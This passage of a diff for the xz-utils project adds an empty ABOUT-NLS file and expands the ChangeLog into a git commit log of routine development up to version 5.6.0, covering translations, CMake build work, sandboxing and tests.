Logs # - ############### - - # Upload the test logs as artifacts if any step has failed. - - uses: actions/upload-artifact@c7d193f32edcb7bfad88892161225aeda64e9392 #v4.0.0 - if: ${{ failure() }} - with: - name: ${{ matrix.msys2_env }} ${{ matrix.build_system }} Test Logs - path: build-aux/artifacts diff --git a/ABOUT-NLS b/ABOUT-NLS new file mode 100644 index 00000000..0a9d56d9 --- /dev/null +++ b/ABOUT-NLS @@ -0,0 +1 @@ + diff --git a/ChangeLog b/ChangeLog index a24858d9..54b68744 100644 --- a/ChangeLog +++ b/ChangeLog @@ -1,7 +1,9764 @@ -See the commit log in the git repository: +commit 2d7d862e3ffa8cec4fd3fdffcd84e984a17aa429 +Author: Jia Tan +Date: 2024-02-24 15:55:08 +0800 - git clone https://github.com/tukaani-project/xz + Bump version and soname for 5.6.0. -Note that "make dist" doesn't put this tiny file into the package. -Instead, the git commit log is used as ChangeLog. See dist-hook in -Makefile.am for details. + src/liblzma/Makefile.am | 2 +- + src/liblzma/api/lzma/version.h | 6 +++--- + src/liblzma/liblzma_generic.map | 2 +- + src/liblzma/liblzma_linux.map | 2 +- + 4 files changed, 6 insertions(+), 6 deletions(-) + +commit a18fb1edef0d0aac12a09eed05e9c448c777af7b +Author: Jia Tan +Date: 2024-02-24 15:50:36 +0800 + + Add NEWS for 5.6.0. + + NEWS | 143 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 143 insertions(+) + +commit 24355c5280bc95e3d594432d60bb8432aa6af173 +Author: Jia Tan +Date: 2024-02-22 22:27:01 +0800 + + Translations: Remove obsolete and fuzzy matches from some translations. + + The French and Brazilian Portuguese man page translations have not been + updated since the switch from public domain to 0BSD. The old GPLv2 + strings have now been removed from these files. + + po4a/fr.po | 4702 +++++++++++++++++++++++++++++++++++++---------------- + po4a/pt_BR.po | 4987 ++++++++++++++++++++++++++++++++++++++++----------------- + 2 files changed, 6832 insertions(+), 2857 deletions(-) + +commit 02ca4a7d7b703e2ec63e00b70feec825e919dbc1 +Author: Jia Tan +Date: 2024-02-21 00:31:54 +0800 + + Translations: Patch man pages to avoid fuzzy matches. + + This will be fixed in the next round of translations, but this avoids + having a fuzzy match or not fixing the English version. + + po4a/de.po | 2 +- + po4a/ko.po | 2 +- + po4a/ro.po | 2 +- + po4a/uk.po | 2 +- + 4 files changed, 4 insertions(+), 4 deletions(-) + +commit 898aad9fc711e03452d24d9e2c5b7f77a6f9ce64 +Author: Jia Tan +Date: 2024-02-21 00:30:43 +0800 + + xzmore: Fix typo in xzmore.1. + + Thanks to Yuri Chornoivan. + + src/scripts/xzmore.1 | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 5631aa206c8d16b4eeab85a46b8b698f4fc4cdba +Author: Jia Tan +Date: 2024-02-24 12:12:16 +0800 + + Translations: Update the Vietnamese translation. + + po/vi.po | 505 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 309 insertions(+), 196 deletions(-) + +commit a65fd7ce9d6228e87faf61dc56a35984d0088248 +Author: Jia Tan +Date: 2024-02-24 12:06:40 +0800 + + Translations: Update the Esperanto translation. + + po/eo.po | 502 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 306 insertions(+), 196 deletions(-) + +commit cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0 +Author: Jia Tan +Date: 2024-02-23 23:09:59 +0800 + + Tests: Add a few test files. + + tests/files/README | 19 +++++++++++++++++++ + tests/files/bad-3-corrupt_lzma2.xz | Bin 0 -> 484 bytes + tests/files/bad-dict_size.lzma | Bin 0 -> 41 bytes + tests/files/good-2cat.xz | Bin 0 -> 136 bytes + tests/files/good-large_compressed.lzma | Bin 0 -> 35430 bytes + tests/files/good-small_compressed.lzma | Bin 0 -> 258 bytes + 6 files changed, 19 insertions(+) + +commit 39f4a1a86ad80b2d064b812cee42668e6c8b8c73 +Author: Jia Tan +Date: 2024-02-23 20:58:36 +0800 + + Tests: Add MicroLZMA test. + + tests/Makefile.am | 4 +- + tests/test_microlzma.c | 548 +++++++++++++++++++++++++++++++++++++++++++++++++ + 2 files changed, 551 insertions(+), 1 deletion(-) + +commit adaacafde6661496ca2814b1e94a3ba5186428cb +Author: Jia Tan +Date: 2024-02-23 20:57:59 +0800 + + Build: Define HAVE_MICROLZMA when it is configured. + + CMakeLists.txt | 4 ++++ + configure.ac | 9 +++++++-- + 2 files changed, 11 insertions(+), 2 deletions(-) + +commit eea78216d27182ca917bf00e02feaab058a4d21e +Author: Jia Tan +Date: 2024-02-23 20:27:15 +0800 + + xz: Fix Capsicum sandbox compile error. + + user_abort_pipe[] was still being used instead of the parameters. + + src/xz/sandbox.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 32b0a3ce19224f9074d01a4ffbc1655b05fcb82d +Author: Jia Tan +Date: 2024-02-23 16:12:32 +0800 + + Build: Fix ARM64 CRC32 instruction feature test. + + Old versions of Clang reported the unsupported function attribute and + __crc32d() function as warnings instead of errors, so the feature test + passed when it shouldn't have, causing a compile error at build time. + -Werror was added to this feature test to fix this. The change is not + needed for CMake because check_c_source_compiles() also performs + linking and the error is caught then. + + Thanks to Sebastian Andrzej Siewior for reporting this. + + configure.ac | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +commit 4c81c9611f8b2e1ad65eb7fa166afc570c58607e +Author: Lasse Collin +Date: 2024-02-22 19:16:35 +0200 + + CMake: Add LOCALEDIR to the windres workaround. + + LOCALEDIR may contain spaces like in "C:\Program Files". + + CMakeLists.txt | 16 +++++++++++----- + 1 file changed, 11 insertions(+), 5 deletions(-) + +commit de4337fd89ca7db5feb97b5c40143404f6e22986 +Author: Lasse Collin +Date: 2024-02-22 15:18:25 +0200 + + xz: Landlock: Fix error message if input file is a directory. + + If xz is given a directory, it should look like this: + + $ xz /usr/bin + xz: /usr/bin: Is a directory, skipping + + The Landlock rules didn't allow opening directories for reading: + + $ xz /usr/bin + xz: /usr/bin: Permission denied + + The simplest fix was to allow opening directories for reading. + While it's a bit silly to allow it solely for the error message, + it shouldn't make the sandbox significantly weaker. + + The single-file use case (like when called from GNU tar) is + still as strict as possible: all Landlock restrictions are + enabled before (de)compression starts. + + src/xz/sandbox.c | 15 ++++++++++++++- + 1 file changed, 14 insertions(+), 1 deletion(-) + +commit 120da10ae139ea52ca4275452adf8eda02d07cc8 +Author: Lasse Collin +Date: 2024-02-22 14:41:29 +0200 + + liblzma: Disable branchless C version in range decoder. + + Thanks to Sebastian Andrzej Siewior and Sam James for + benchmarking on various systems. + + src/liblzma/rangecoder/range_decoder.h | 13 ++++++++++--- + 1 file changed, 10 insertions(+), 3 deletions(-) + +commit 00440f52be9ac2c7438c7b0cb1082f12399632c6 +Author: Lasse Collin +Date: 2024-02-21 17:41:32 +0200 + + INSTALL: Clarify that --disable-assembler affects only 32-bit x86. + + INSTALL | 18 +++++++++--------- + 1 file changed, 9 insertions(+), 9 deletions(-) + +commit 11405be84ea294497e12d03d7219f607063f4a00 +Author: Lasse Collin +Date: 2024-02-19 18:41:37 +0200 + + Windows: build.bash: Include COPYING.0BSD in the package. + + windows/build.bash | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit c27cf64e3e27f4968431d65be7098a12a3a80d30 +Author: Lasse Collin +Date: 2024-02-18 17:59:46 +0200 + + Windows: build.bash: include liblzma-crt-mixing.txt in the package. + + windows/build.bash | 6 ++++-- + 1 file changed, 4 insertions(+), 2 deletions(-) + +commit 8d38941baed05de4ff7cc775de14833108f62184 +Author: Lasse Collin +Date: 2024-02-18 17:17:43 +0200 + + Windows: Major update to Windows build instructions. + + INSTALL | 68 ++++----- + windows/INSTALL-MSVC.txt | 23 +-- + windows/INSTALL-MinGW-w64_with_Autotools.txt | 49 +++++++ + windows/INSTALL-MinGW-w64_with_CMake.txt | 203 +++++++++++++++++++++++++++ + windows/INSTALL-MinGW.txt | 138 ------------------ + windows/README-Windows.txt | 2 + + windows/build-with-cmake.bat | 35 +++++ + windows/liblzma-crt-mixing.txt | 70 +++++++++ + 8 files changed, 404 insertions(+), 184 deletions(-) + +commit 4b5b0d352348ff510ffb50a3b5b71788857d37a1 +Author: Lasse Collin +Date: 2024-02-18 15:15:04 +0200 + + Windows: Update windows/README-Windows.txt. + + It's for binary packages built with windows/build.bash. + + windows/README-Windows.txt | 104 ++++++++++++++++++--------------------------- + 1 file changed, 41 insertions(+), 63 deletions(-) + +commit 1ee716f74085223c8fbcae1d5a384e6bf53c0f6a +Author: Lasse Collin +Date: 2024-02-18 15:15:04 +0200 + + Windows: Update windows/build.bash. + + Support for the old MinGW was dropped. Only MinGW-w64 with GCC + is supported now. + + The script now supports also cross-compilation from GNU/Linux + (tests are not run). MSYS2 and also the old MSYS 1.0.11 work + for building on Windows. The i686 and x86_64 toolchains must + be in PATH to build both 32-bit and 64-bit versions. + + Parallel builds are done if "nproc" from GNU coreutils is available. + + MinGW-w64 runtime copyright information file was renamed from + COPYING-Windows.txt to COPYING.MinGW-w64-runtime.txt which + is the filename used by MinGW-w64 itself. Its existence + is now mandatory, it's checked at the beginning of the script. + + The file TODO is no longer copied to the package. + + windows/build.bash | 191 +++++++++++++++++++++++++++++++---------------------- + 1 file changed, 112 insertions(+), 79 deletions(-) + +commit 60462e42609a1d961868a1d1ebecc713c6d27e2e +Author: Jia Tan +Date: 2024-02-20 23:32:22 +0800 + + Translations: Update the Romanian man page translations. + + po4a/ro.po | 1715 +++++++++++++++++++++++++++++++----------------------------- + 1 file changed, 875 insertions(+), 840 deletions(-) + +commit 10d733e5b8929c642e00891cfa9ead9c2cdd2e05 +Author: Jia Tan +Date: 2024-02-20 23:30:25 +0800 + + Translations: Update the Korean man page translations. + + po4a/ko.po | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 797a34b72ac6baff237d7a546fa941d8f78f2f62 +Author: Jia Tan +Date: 2024-02-20 21:03:53 +0800 + + Translations: Update the Spanish translation. + + po/es.po | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit 5c3751d019f023e091df9a653e2bb1f6ea8b0d49 +Author: Jia Tan +Date: 2024-02-20 20:18:07 +0800 + + Translations: Update the Romanian translation. + + po/ro.po | 470 ++++++++++++++++++++++++++++++--------------------------------- + 1 file changed, 227 insertions(+), 243 deletions(-) + +commit e2d31154ecc750935436e8b62c6b073b2cfa84e3 +Author: Jia Tan +Date: 2024-02-20 20:15:50 +0800 + + Translations: Update the Croatian translation. + + po/hr.po | 648 ++++++++++++++++++++++++++++++++++----------------------------- + 1 file changed, 355 insertions(+), 293 deletions(-) + +commit 704500f994d5ac271bfcfd592275c5a7da4dc8d2 +Author: Jia Tan +Date: 2024-02-20 20:05:44 +0800 + + Translations: Update the German man page translations. + + po4a/de.po | 1696 +++++++++++++++++++++++++++++++----------------------------- + 1 file changed, 873 insertions(+), 823 deletions(-) + +commit 1cfd3dca3fef321b06db73c3c9e13f347c2e2f5f +Author: Jia Tan +Date: 2024-02-20 19:58:25 +0800 + + Translations: Update the German translation. + + po/de.po | 427 +++++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 225 insertions(+), 202 deletions(-) + +commit 28b9b3f16cc7c6e5b42e691994569c17f4561c9a +Author: Jia Tan +Date: 2024-02-20 19:56:52 +0800 + + Translations: Update the Hungarian translation. + + po/hu.po | 556 ++++++++++++++++++++++++++++++++++++++------------------------- + 1 file changed, 338 insertions(+), 218 deletions(-) + +commit 00b06cd0af6ad2ee93d3006bf80417db060c2b04 +Author: Lasse Collin +Date: 2024-02-19 16:48:05 +0200 + + CMake: Fix building of lzmainfo when translations are enabled. + + CMakeLists.txt | 2 ++ + 1 file changed, 2 insertions(+) + +commit b0d1422b6037bfea6f6723683bd82a8e6d77026c +Author: Lasse Collin +Date: 2024-02-19 13:38:42 +0200 + + CMake: Don't assume that -fvisibility=hidden is supported outside Windows. + + The original code was good enough for supporting GNU/Linux + and a few others but it wasn't very portable. + + CMake doesn't support Solaris Studio's -xldscope=hidden. + If it ever does, things should still work with this commit + as Solaris Studio supports not only its own __global but also + the GNU C __attribute__((visibility("default"))). Support for the + attribute was added in 2007 to Sun Studio 12 compiler version 5.9. + + CMakeLists.txt | 26 ++++++++++++++++++++++---- + 1 file changed, 22 insertions(+), 4 deletions(-) + +commit 2ced9d34bef4dce52ecbbf84d0903ab0aae1442c +Author: Lasse Collin +Date: 2024-02-19 12:20:59 +0200 + + CMake: Revise the component splitting. + + CMakeLists.txt | 57 +++++++++++++++++++++++++++++++-------------------------- + 1 file changed, 31 insertions(+), 26 deletions(-) + +commit 426bdc709c169d39b31dec410016779de117ef69 +Author: Lasse Collin +Date: 2024-02-17 21:45:07 +0200 + + CMake: Update the main comment and document CMAKE_BUILD_TYPE=Release. + + CMakeLists.txt | 79 ++++++++++++++++++++++++++++++++++++++++++++++------------ + 1 file changed, 63 insertions(+), 16 deletions(-) + +commit 4430e075f7ccfc47972d6ca0aa1c3779fc265e10 +Author: Lasse Collin +Date: 2024-02-17 21:27:48 +0200 + + CMake: Use -O2 instead of -O3 in CMAKE_BUILD_TYPE=Release. + + -O3 doesn't seem useful for speed but it makes the code bigger. + CMake makes is difficult for users to simply override the + optimization level: CFLAGS / CMAKE_C_FLAGS aren't helpful because + they go before CMAKE_C_FLAGS_RELEASE. Of course, users can override + CMAKE_C_FLAGS_RELEASE directly but then they have to remember to + add also -DNDEBUG to disable assertions. + + This commit changes -O3 to -O2 in CMAKE_C_FLAGS_RELEASE if and only if + CMAKE_C_FLAGS_RELEASE cache variable doesn't already exist. So if + a custom value is passed on the command line (or reconfiguring an + already-configured build), the cache variable won't be modified. + + CMakeLists.txt | 19 +++++++++++++++++++ + 1 file changed, 19 insertions(+) + +commit 025eb6d7879e4c4e8cb29716b371e0f4c1aea660 +Author: Lasse Collin +Date: 2024-02-18 14:59:52 +0200 + + CMake: Handle symbol versioning on MicroBlaze specially. + + This is to match configure.ac. + + CMakeLists.txt | 23 +++++++++++++++++++---- + 1 file changed, 19 insertions(+), 4 deletions(-) + +commit 2edd1a35b2507d1ce68b52dbaebe23c4850a74ce +Author: Lasse Collin +Date: 2024-02-17 22:18:12 +0200 + + CMake: Keep build working even if lib/*.[ch] are removed. + + CMakeLists.txt | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +commit d753e2ce4715552884afadc4ed6fbf8ccca6efac +Author: Lasse Collin +Date: 2024-02-17 18:10:40 +0200 + + CMake: Install documentation. + + CMakeLists.txt | 32 ++++++++++++++++++++++++++++++++ + 1 file changed, 32 insertions(+) + +commit 7a0405bea9cb0df9318b70f779f82b2c473e98ac +Author: Lasse Collin +Date: 2024-02-17 15:35:35 +0200 + + CMake: Bump maximum policy version to 3.28. + + CMP0154 doesn't affect us since we don't use FILE_SET. + + CMakeLists.txt | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit c2264ffbe3892d28930b89b0123efc369cabc143 +Author: Lasse Collin +Date: 2024-02-17 15:35:35 +0200 + + CMake: Build lzmainfo. + + CMakeLists.txt | 54 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ + 1 file changed, 54 insertions(+) + +commit 998d0b29536094a89cf385a3b894e157db1ccefe +Author: Lasse Collin +Date: 2024-02-17 15:35:35 +0200 + + CMake: Build lzmadec. + + CMakeLists.txt | 76 ++++++++++++++++++++++++++++++++-------------------------- + 1 file changed, 42 insertions(+), 34 deletions(-) + +commit 74e8bc7417a0f37ca7ed5ee0127d33c69b3100b9 +Author: Lasse Collin +Date: 2024-02-17 15:35:35 +0200 + + CMake: Add test_scripts.sh to the tests. + + In contrast to Automake, skipping of this test when decoders + are disabled is handled at CMake side instead of test_scripts.sh + because CMake-build doesn't create config.h. + + CMakeLists.txt | 14 ++++++++++++++ + tests/test_scripts.sh | 13 ++++++++----- + 2 files changed, 22 insertions(+), 5 deletions(-) + +commit 4808f238a731befcd46c2117c62a1caaf4403989 +Author: Lasse Collin +Date: 2024-02-17 15:35:35 +0200 + + CMake: Install scripts. + + Compared to the Autotools-based build, this has simpler handling + for the shell (@POSIX_SHELL@) and extra PATH entry for the scripts + (configure has --enable-path-for-scripts=PREFIX). The simpler + metho should be enough for non-ancient systems and Solaris. + + CMakeLists.txt | 83 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++- + 1 file changed, 82 insertions(+), 1 deletion(-) + +commit 3462362ebd94d835c664e94ad8f414cfe7590ca7 +Author: Lasse Collin +Date: 2024-02-17 15:35:35 +0200 + + Scripts: Use @PACKAGE_VERSION@ instead of @VERSION@. + + PACKAGE_VERSION was already used in liblzma.pc.in. + This way only one version @foo@ is used. + + src/scripts/xzdiff.in | 2 +- + src/scripts/xzgrep.in | 2 +- + src/scripts/xzless.in | 2 +- + src/scripts/xzmore.in | 2 +- + 4 files changed, 4 insertions(+), 4 deletions(-) + +commit 67610c245ba6c68cf65991693bab9312b7dc987b +Author: Lasse Collin +Date: 2024-02-17 15:35:35 +0200 + + CMake: Simplify symlink creation and install translated man pages. + + It helps that cmake_install.cmake doesn't parallelize installation + so symlinks can be created so that the target is always known to + exist (a requirement on Windows in some cases). + + This bumps the minimum CMake version from 3.13 to 3.14 to use + file(CREATE_LINK ...). It could be made to work on 3.13 by + calling "cmake -E create_symlink" but it's uglier code and + slower in "make install". 3.14 should be a reasonable version + to require nowadays, especially since the Autotools build + is still the primary build system for most OSes. + + CMakeLists.txt | 195 +++++++++++++++++++++++++++++---------------------------- + 1 file changed, 98 insertions(+), 97 deletions(-) + +commit 50cc1d8a5a8154428bf240c7e4972e32b17d99bf +Author: Lasse Collin +Date: 2024-02-17 15:35:35 +0200 + + CMake: Add support for building and installing xz with translations. + + If gettext tools are available, the .po files listed in po/LINGUAS + are converted using msgfmt. This allows building with translations + directly from xz.git without Autotools. + + If gettext tools aren't available, the Autotools-created .gmo files + in the "po" directory will be used. This allows CMake-based build + to use translations from Autotools-generated tarball. + + If translation support is found (Intl_FOUND) but both the + gettext tools and the pre-generated .gmo files are missing, + then "make" will fail. + + CMakeLists.txt | 68 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++-- + 1 file changed, 66 insertions(+), 2 deletions(-) + +commit 746c471643009947f94a3494a1148f74c7381b56 +Author: Lasse Collin +Date: 2024-02-19 11:58:33 +0200 + + liblzma: Remove commented-out code. + + src/liblzma/rangecoder/range_decoder.h | 3 --- + 1 file changed, 3 deletions(-) + +commit 4ce300ce0884c6e552de2af9ae8050b47b01f0e7 +Author: Lasse Collin +Date: 2024-02-17 23:07:35 +0200 + + xz: Delete old commented-out code. + + src/xz/message.c | 19 ------------------- + 1 file changed, 19 deletions(-) + +commit cae9a5e0bf422e6c5e64180805904f7ed02dc3aa +Author: Lasse Collin +Date: 2024-02-17 23:07:35 +0200 + + xz: Use stricter pledge(2) and Landlock sandbox. + + This makes these sandboxing methods stricter when no files are + created or deleted. That is, it's a middle ground between the + initial sandbox and the strictest single-file-to-stdout sandbox: + this allows opening files for reading but output has to go to stdout. + + src/xz/main.c | 46 +++++++++++++++++++++++++++++++++------------- + src/xz/sandbox.c | 32 ++++++++++++++++++++++++++++++++ + src/xz/sandbox.h | 4 ++++ + 3 files changed, 69 insertions(+), 13 deletions(-) + +commit 02e3505991233901575b7eabc06b2c6c62a96899 +Author: Lasse Collin +Date: 2024-02-17 23:07:35 +0200 + + xz: Support Landlock ABI version 4. + + Linux 6.7 added support for ABI version 4 which restricts + TCP connections which xz won't need and thus those can be + forbidden now. Since the ABI version is handled at runtime, + supporting version 4 won't cause any compatibility issues. + + Note that new enough kernel headers are required to get + version 4 support enabled at build time. + + src/xz/sandbox.c | 25 ++++++++++++++++++++----- + 1 file changed, 20 insertions(+), 5 deletions(-) + +commit 374868d81d473ab56556a1cfd6b1b36a1fab348b +Author: Lasse Collin +Date: 2024-02-17 23:07:35 +0200 + + xz: Move sandboxing code to sandbox.c and improve Landlock sandbox. + + Landlock is now always used just like pledge(2) is: first in more + permissive mode and later (under certain common conditions) in + a strict mode that doesn't allow opening more files. + + I put pledge(2) first in sandbox.c because it's the simplest API + to use and still somewhat fine-grained for basic applications. + So it's the simplest thing to understand for anyone reading sandbox.c. + + CMakeLists.txt | 2 + + src/xz/Makefile.am | 2 + + src/xz/file_io.c | 170 +----------------------------- + src/xz/file_io.h | 6 -- + src/xz/main.c | 50 +++------ + src/xz/private.h | 6 +- + src/xz/sandbox.c | 295 +++++++++++++++++++++++++++++++++++++++++++++++++++++ + src/xz/sandbox.h | 39 +++++++ + 8 files changed, 357 insertions(+), 213 deletions(-) + +commit 7312dfbb02197c7f990c7a3cefd027a9387d1473 +Author: Lasse Collin +Date: 2024-02-17 23:07:35 +0200 + + xz: Tweak comments. + + src/xz/main.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +commit c701a5909ad9882469fbab4fab5d2d5556d3ba78 +Author: Lasse Collin +Date: 2024-02-17 23:07:35 +0200 + + xz: Fix message_init() description. + + Also explicitly initialize progress_automatic to make it clear + that it can be read before message_init() sets it. Static variable + was initialized to false by default already so this is only for + clarity. + + src/xz/main.c | 3 ++- + src/xz/message.c | 2 +- + src/xz/message.h | 5 ++++- + 3 files changed, 7 insertions(+), 3 deletions(-) + +commit 9466306719f3b76e92fac4e55fbfd89ec92295fa +Author: Lasse Collin +Date: 2024-02-17 19:35:47 +0200 + + Build: Makefile.am: Sort EXTRA_DIST. + + Dirs first, then files in case-sensitive ASCII order. + + Makefile.am | 14 +++++++------- + 1 file changed, 7 insertions(+), 7 deletions(-) + +commit f3440e78c9517db75bfa52e1a378fad60b073bbe +Author: Lasse Collin +Date: 2024-02-17 19:25:05 +0200 + + Build: Don't install TODO. + + Makefile.am | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit a7a3b62e2ab03c82b2bd5c78da1d1fb8b8490381 +Author: Jia Tan +Date: 2024-02-18 01:09:11 +0800 + + Translations: Update the Korean man page translations. + + po4a/ko.po | 1707 +++++++++++++++++++++++++++++++----------------------------- + 1 file changed, 871 insertions(+), 836 deletions(-) + +commit 9b315db2d5e74700f3dc0755eb86c27947c0b393 +Author: Jia Tan +Date: 2024-02-18 01:08:32 +0800 + + Translations: Update the Korean translation. + + po/ko.po | 423 +++++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 223 insertions(+), 200 deletions(-) + +commit 56246607dff177b0410d140fcca4a42c865723dc +Author: Lasse Collin +Date: 2024-02-17 16:23:14 +0200 + + Build: Install translated lzmainfo man pages. + + All other translated man pages were being installed but + lzmainfo had been forgotten. + + src/lzmainfo/Makefile.am | 26 ++++++++++++++++++++++++++ + 1 file changed, 26 insertions(+) + +commit f1d6b88aefcced538403c5c2606ba57065b16e70 +Author: Lasse Collin +Date: 2024-02-17 16:01:32 +0200 + + liblzma: Avoid implementation-defined behavior in the RISC-V filter. + + GCC docs promise that it works and a few other compilers do + too. Clang/LLVM is documented source code only but unsurprisingly + it behaves the same as others on x86-64 at least. But the + certainly-portable way is good enough here so use that. + + src/liblzma/simple/riscv.c | 30 ++++++++++++++++++++++-------- + 1 file changed, 22 insertions(+), 8 deletions(-) + +commit 843ddc5f617b91ae132d6bab0f2f2d9c9fcd214a +Author: Lasse Collin +Date: 2024-02-17 15:48:28 +0200 + + liblzma: Wrap a line exceeding 80 chars. + + src/liblzma/rangecoder/range_decoder.h | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit e9053c907250c70d98b319d95fa54cb94fc76869 +Author: Sebastian Andrzej Siewior +Date: 2024-02-16 21:50:15 +0100 + + liblzma/rangecoder: Exclude x32 from the x86-64 optimisation. + + The x32 port has a x86-64 ABI in term of all registers but uses only + 32bit pointer like x86-32. The assembly optimisation fails to compile on + x32. Given the state of x32 I suggest to exclude it from the + optimisation rather than trying to fix it. + + Signed-off-by: Sebastian Andrzej Siewior + + src/liblzma/rangecoder/range_decoder.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 3d198fb13b87f8803442e5799d465f7434a70555 +Author: Jia Tan +Date: 2024-02-17 21:05:07 +0800 + + Translations: Update the Spanish translation. + + po/es.po | 427 +++++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 226 insertions(+), 201 deletions(-) + +commit cf278bfe60a25b54b3786f06503bc61272970820 +Author: Jia Tan +Date: 2024-02-17 20:43:29 +0800 + + Translations: Update the Swedish translation. + + po/sv.po | 434 +++++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 230 insertions(+), 204 deletions(-) + +commit b0f1a41be50560cc6cb528e8e96b02b2067c52c2 +Author: Jia Tan +Date: 2024-02-17 20:41:38 +0800 + + Translations: Update the Polish translation. + + po/pl.po | 424 +++++++++++++++++++++++++++++++++------------------------------ + 1 file changed, 224 insertions(+), 200 deletions(-) + +commit d74ed48b30c631b6a4c7e7858b06828293bf8520 +Author: Jia Tan +Date: 2024-02-17 20:41:02 +0800 + + Translations: Update the Ukrainian translation. + + po/uk.po | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 711e22d5c5f3bac39ac904efb3ede874a66e2045 +Author: Lasse Collin +Date: 2024-02-16 17:53:34 +0200 + + Translations: Use the same sentence in xz.pot-header that the TP uses. + + po/xz.pot-header | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit fb5f6aaf18584672d0fee5dbe41fd30fc6bf5422 +Author: Jia Tan +Date: 2024-02-16 22:53:46 +0800 + + Fix typos discovered by codespell. + + AUTHORS | 2 +- + NEWS | 2 +- + src/liblzma/rangecoder/range_decoder.h | 4 ++-- + 3 files changed, 4 insertions(+), 4 deletions(-) + +commit c64723bbb094e29b4edd98f6fcce866e1b569b42 +Author: Jia Tan +Date: 2024-02-16 22:52:41 +0800 + + Translations: Update the Ukrainian man page translations. + + po4a/uk.po | 1710 +++++++++++++++++++++++++++++++----------------------------- + 1 file changed, 873 insertions(+), 837 deletions(-) + +commit 2895195ed0f68b245c7bd568c126ba6e685fa1d6 +Author: Jia Tan +Date: 2024-02-16 22:51:04 +0800 + + Translations: Update the Ukrainian translation. + + po/uk.po | 466 ++++++++++++++++++++++++++++++--------------------------------- + 1 file changed, 225 insertions(+), 241 deletions(-) + +commit 4c20781f4c8f04879b64d631a4f44b4909147bde +Author: Lasse Collin +Date: 2024-02-15 22:32:52 +0200 + + Translations: Omit the generic copyright line from man page headers. + + po4a/update-po | 1 + + 1 file changed, 1 insertion(+) + +commit 4323bc3e0c1e1d2037d5e670a3bf6633e8a3031e +Author: Jia Tan +Date: 2024-02-15 22:26:43 +0800 + + Update m4/.gitignore. + + m4/.gitignore | 1 + + 1 file changed, 1 insertion(+) + +commit 5394a1665b7a108a54cb8b4ef3ebe59d3dbcca3a +Author: Lasse Collin +Date: 2024-02-14 21:11:49 +0200 + + Tests: tuktest.h: Treat Clang separately from GCC. + + Don't assume that Clang defines __GNUC__ as the extensions + are available in clang-cl as well (and possibly in some other + Clang variants?). + + tests/tuktest.h | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +commit cce7330b9f23485a0879422e0c3395a7065439ac +Author: Lasse Collin +Date: 2024-02-14 21:11:03 +0200 + + Tests: tuktest.h: Add a missing word to a comment. + + tests/tuktest.h | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +commit 5dd8fc9452a3373cedc27379067ce638f992c741 +Author: Lasse Collin +Date: 2024-02-14 21:10:10 +0200 + + Tests: tuktest.h: Fix the comment about STest. + + tests/tuktest.h | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +commit 6f1790254a03c5edf0f2976f773220f070450acd +Author: Jia Tan +Date: 2024-02-15 01:53:40 +0800 + + Bump version for 5.5.2beta. + + src/liblzma/api/lzma/version.h | 4 ++-- + src/liblzma/liblzma_generic.map | 2 +- + src/liblzma/liblzma_linux.map | 2 +- + 3 files changed, 4 insertions(+), 4 deletions(-) + +commit 924fdeedf48113fb1e0646d86bd89a356d21a055 +Author: Lasse Collin +Date: 2024-02-14 19:46:11 +0200 + + liblzma: Fix validate_map.sh. + + Adding the SPDX license identifier changed the line numbers. + + src/liblzma/validate_map.sh | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 22140a2df6161b0110e6b4afa5ea0a07c5b60b01 +Author: Lasse Collin +Date: 2024-02-14 19:38:34 +0200 + + Build: Start the generated ChangeLog from around 5.4.0 instead of 5.2.0. + + Makefile.am | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +commit 0b8cefa136c21d403a01b78517f4decb50172bdb +Author: Lasse Collin +Date: 2024-02-14 19:27:46 +0200 + + Fixed NEWS for 5.5.2beta. + + NEWS | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +commit a4557bad96361d93ea171ed859ac5a696fca824f +Author: Lasse Collin +Date: 2024-02-14 19:21:45 +0200 + + liblzma: Silence warnings in --enable-small build. + + src/liblzma/lzma/lzma_decoder.c | 2 ++ + src/liblzma/rangecoder/range_decoder.h | 1 + + 2 files changed, 3 insertions(+) + +commit 38edf473236d00b3e100dc4c4f0bf43a4993fed2 +Author: Lasse Collin +Date: 2024-02-14 19:15:58 +0200 + + Build: Install COPYING.0BSD as part of docs. + + Makefile.am | 1 + + 1 file changed, 1 insertion(+) + +commit b74e10bd839bcdc239afb5300ffaee195f34c217 +Author: Lasse Collin +Date: 2024-02-14 19:14:05 +0200 + + Docs: List COPYING.0BSD in README. + + README | 1 + + 1 file changed, 1 insertion(+) + +commit dfdb60ffe933a1f1497d300dbb4513ed17ec6f0e +Author: Lasse Collin +Date: 2024-02-14 19:11:48 +0200 + + Docs: Include doc/examples/11_file_info.c in tarballs. + + It was added in 2017 in c2e29f06a7d1e3ba242ac2fafc69f5d6e92f62cd + but it never got into any 